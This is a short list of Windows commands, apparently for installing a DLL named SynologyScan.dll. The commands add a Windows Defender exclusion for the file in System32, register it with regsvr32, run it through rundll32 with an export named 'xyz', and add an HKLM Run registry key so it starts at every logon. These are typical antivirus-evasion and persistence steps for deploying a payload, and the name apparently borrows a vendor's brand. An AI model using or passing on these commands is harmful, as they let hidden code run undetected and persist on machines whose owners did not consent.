Run with PowerShell Administrator (Dll)
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1. Window Defender Exclusion

powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SynologyScan.dll'"

2. regsvr32 SynologyScan.dll

3. rundll32 SynologyScan.dll, xyz

4. reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SynologyScan /t REG_SZ /d "C:\Path\To\SynologyScan.dll"